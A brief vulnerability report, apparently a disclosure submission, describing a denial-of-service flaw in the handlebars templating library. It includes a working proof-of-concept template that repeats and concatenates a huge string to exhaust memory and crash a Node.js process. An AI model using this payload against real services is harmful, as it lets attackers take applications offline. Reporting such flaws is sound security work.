Crash Node.js process from handlebars using a small and simple source

I would like to report Denial of service in handlebars. It allows an attacker to crush Node.js process with a small and simple source.

const handlebars = require('handlebars');

let source = `
{{#with 'a' as |s0|}}
  {{#with (s0.repeat 500000000) as |s|}}
    {{s.concat s}}
    {{s.concat s}}
  {{/with}}
{{/with}}
`;

let template = handlebars.compile(source);
template();